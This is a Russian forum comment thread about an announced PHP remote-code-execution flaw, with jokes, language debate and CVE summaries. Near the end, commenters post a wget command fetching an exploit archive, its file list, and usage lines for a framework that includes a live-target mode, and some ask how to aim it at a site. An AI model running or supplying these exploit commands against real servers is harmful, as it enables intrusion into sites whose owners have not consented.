PHP готовит экстренные обновления безопасности: потенциальная возможность удалённого выполнения кода на серверах

<censore>
Pi? Pi. Pi!
</censore>

одна вода и никакой конкретики.

и да, колхозный пых-пых не нужен от слова совсем. так что закапывайте вместе с этой уящвимостью

Пхп - лучший из скриптовых языков.

Statement: Что весьма многое говорит о скриптовых языках в целом.

Странно, что никто пока не написал про решето…

Старый добрый пэхапе!

так тот баян настолько порван, что и не интересен совсем =)
P.S. на opennet уже есть подробности и возможные пути блокировки(ну как минимум до обновления)

[…] уже есть подробности и возможные пути блокировки(ну как минимум до обновления)

выключить ПК из розетки? 😂😂😂

Админчег: У нас ДЫРА в безопасности!

Начальнег: Ну хоть что-то у нас в безопасности.

По ссылкам не ходил и не гуглил. Есть информации о затронутых версиях?

начиная с ветки PHP 5, выпущенной в 2004 году

Больше 20 лет дыра которую никто не замечал, и которая перекочевала в 7 и 8? Феерично конечно. Воистину, нет границ у глупости.

Порыскал в интернете. Тоже вода. Хоть бы общо написали, в каком месте именно уязвимость. При обработке HTTP-запроса? Пока нечего обсуждать.

выключить ПК из розетки?

этот способ вне конкуренции!

а зачем об этом говорить до выхода обновлений?

Очень сомнительное утверждение. Питон однозначно лучше.

Где можно ознакомится с данной уязвимостью? Хочу попробовать воспроизвести её у себя на ПК

в каком месте именно уязвимость. При обработке HTTP-запроса?

При разборе пыхом прилетевшего POST с multipart/form-data. Еще до запуска каких бы то ни было скриптов, так что ни наличие на сайте форм, ни какие бы то ни было авторизации не требуются.

Достаточно веб-сервера, передающего запрос пыху и не блокирующего загрузку файлов на уровне веб-сервера.

Главное требование в скриптовому языку - возможность просто писать код не прилагая особых мыслительных усилий и затрат времени, и чтобы он сразу работал, плюя на все проблемы. Пхп в этом плане вне конкуренции. Хотя в последних версиях увлеклись карго-культом по всяким джавам и насували в него фатальных ошибок/исключений (всмысле что он после ошибки не идёт дальше, а обрывает выполнение) - это несколько его ухудшило.

Требование общей консистентности работы программы имеется у компилируемых языков, распространять его на скрипты не следует, их фича как раз в том что они могут от этого освободиться. То, что некоторые программируют (а не скриптуют) на пхп - это нецелевое его использование.

Не соглашусь. Чтобы код сразу работал - нужно, чтобы автоматика могла его легко проверить. А для этого как минимум нужна строгая типизация. Это исключит вероятность катастрофических ошибок.

Классический юниксовый шелл - это полная жопа, например. Опечатался в переменной - обращение к ней вернет пустую строку и привет rm -rf /*. Забыл где-то проверить возвращаемое значение - результат дальнейшей работы будет вообще непредсказуем. Дидам-основателям простительно - не было наработанного опыта эксплуатации, но сейчас бы это назвали плохим дизайном.

Не просто так те, кто пишет на шелле, сделали shellcheck и обмазываются всякими sh -eo pipefail. Полурабочие инструменты не нужны. Инструменты, которые by design допускают вагон ошибок с человеческим фактором - не нужны в квадрате.

Для меня главное требование к скриптовому языку - исключительную высокоуровневость, на которую можно разменять производительность, за счет чего скрипт будет быстрее написать. В остальном это никак не должно отличаться от обычного языка программирования.

Ну это какой-то позор..

Как ни странно, shell (любой) - это в первую очередь интерактивная оболочка, а возможность писать на нем простыни скриптов - побочная фича. Я считаю, что шелл должен быть организован так, чтобы в нем было удобно писать однострочники.

Мне по этому особенно не нравится ms powershell, т.к. там строки выходят километр длиной. Но это скорее вопрос к тому, как ms называет объекты, а не к шеллу как к таковому.

Истинно так. Перл бы так никогда не поступил!

https://jackalsyn.com/posts/php-up-2026.html посмотрите и отпишитесь,что получается плиз

Вопрос специалистам по всему (не специалист): На opennet говорится, что конкретное смещение для атаки ищется перебором по смещениям для разных версий пакетов. Возможна ли сборка из исходников с одновременной их обфускацией, чтобы у каждого индивда было «своё уникальное смещение». Кто-нибудь уже построил дистрибутив GNU/Linux вокруг этой идеи?

Дистрибутив - это про унификацию и безопасность, а не про зоопарк, в котором дырочки не на месте глазок.

Да кто же запретит? И это как раз про безопасность.

Спасибо за информацию.

Назначить ответственных...

«Наказать невиновных, наградить непричастных.» ©

Всё, что я перечисляю, совершенно никак не мешает писать однострочники. Что до павершелла - у него хорошая идея (объектный интерфейс), но отвратительная ее реализация.

Выключайте интернеты. Срочна.

А есть php сайты, которые прячут 12 слов внутри? Друг справшивает.

Выключайте интернеты. Срочна.

С разморозкой :)

Знатная дырень. Такого в истории IT ещё не было. Сейчас поломают 90% сайтов.

Порыскал в интернете. Тоже вода. Хоть бы общо написали, в каком месте именно уязвимость. При обработке HTTP-запроса? Пока нечего обсуждать.

тут к бабке не ходи, именно при обработке запроса, php в принципе ничего другого и не делает ;-)

но можно делать ставки:

1) корень бед в ошибке обработки unicode последовательностей внутри запроса

2) на уровне стыка SSL - байт-код языка

3) изначальные ошибки кеширования байт-кода

4) zend engine сразу спроектирована с учётом такой фичи ;-)

там ломаться-то больше нечему

CVE-2026-109618: An argument injection vulnerability in PHP’s CGI implementation. An attacker can inject command-line options into the PHP binary by manipulating the query string, bypassing protections meant to prevent direct binary execution.

CVE-2026-109619: A heap buffer overflow in the mb_ereg_replace function, triggered by a crafted regular expression. This allows for code execution within the PHP process itself.

cgi и mb_ereg_replace я таким не пользуюсь а то что wordpress и laravel и прочие на такое подвязаны не приятно… )

cgi вообще у кого в наше время

Неколхозное в ИТ только то, что нужно полтора хакерам и ещё паре учёных. Всё остальное в той или иной степени «колхозное».

Откуда это?

Не соглашусь. Чтобы код сразу работал - нужно, чтобы автоматика могла его легко проверить. А для этого как минимум нужна строгая типизация. Это исключит вероятность катастрофических ошибок.

В ПХП можно писать типизированно, а можно - не.

И потом - это не в ПХП проблема а в конкретной его реализации - Zend.

Знатная дырень. Такого в истории IT ещё не было. Сейчас поломают 90% сайтов.

Нужна реакция попкорн 🍿

mb_ereg_replace

поиск с заменой на кодировках отличных от однобайтовых - часто используемая штука :)

1. корень бед в ошибке обработки unicode последовательностей внутри запроса

Я на это ставлю. С unicode у них исторически не складывалось :).

https://jackalsyn.com/posts/php-up-2026.html

CORRECTED FINDINGS (2026-10-21): Cached-pointer chain DEAD at the addref (session.c:3213 Z_TRY_ADDREF keeps array alive - no free, no RCE, CVSS 0.0). The real bug is a serialize-state cross-request UAF (ASAN-confirmed at var.c:756, n+=1 on arrays/references, prefork-only, NOT code execution, CVSS 5.3 Medium). Full proof + receipts preserved; lab details unredacted.

Подождём патчей, но возможно не так всё страшно, как изначально было заявлено.

cgi

А php-fpm к cgi относится?

https://ma.ttias.be/php-cve-2026-109618-early-mitigation/

Скачал я эксплойт:

wget http://jackalsyn.com/posts/phpupAssets/php2shell-reup.zip

fast_fire.py
lab_apache.sh
lab_chain.sh
lab_gdb.sh
lab_index.php
lab_run.sh
lab_strace.sh
lab_sweep.sh
php2shell_repro.sh
poc_serialize.py
poc_unserialize.py
README.md
ROOT_CAUSE.md
weapon_loop.sh
WEAPON_NOTES.md
weapon_singlechild.sh

Usage

How to Validate, Extract & Deliver the Chain

$ python3 php_up_framework.py --selftest # forge + body layout checks
$ python3 php_up_framework.py --syms --binary /path/to/lsphp # extract dtor / call / delta
$ python3 php_up_framework.py --build --bug 619 --dtor <leak> -o body.bin
$ python3 php_up_framework.py --lab --bug 618 --dtor <leak> # php-fpm lab delivery
$ python3 php_up_framework.py --live <target-url> --bug 619 --dtor <leak>

Это файл из утёкшего чуть ранее эксплоита, вот здесь он есть: https://github.com/cereZ23/php-up-2026

Нельзя в PHP писать типизированно. Там типы проверяются только на верхнем уровне, всё что глубже уже не типизируется нормально.

А как сайт то проверить?

Команду python3 php_up_framework.py --selftest надо запускать на хосте с сайтом, или это просто проверка фреймверка?

А в команде python3 php_up_framework.py --live <target-url> --bug 619 --dtor <leak> вместо <target-url> надо url сайта писать? А что такое <leak> - нигде не написано.

Просто выключи свой сайт, пока не обновишь. Хотя уже поздно, готовься переустанавливать всё из последнего доверенного бэкапа, скорей всего все сайты уже поломаны.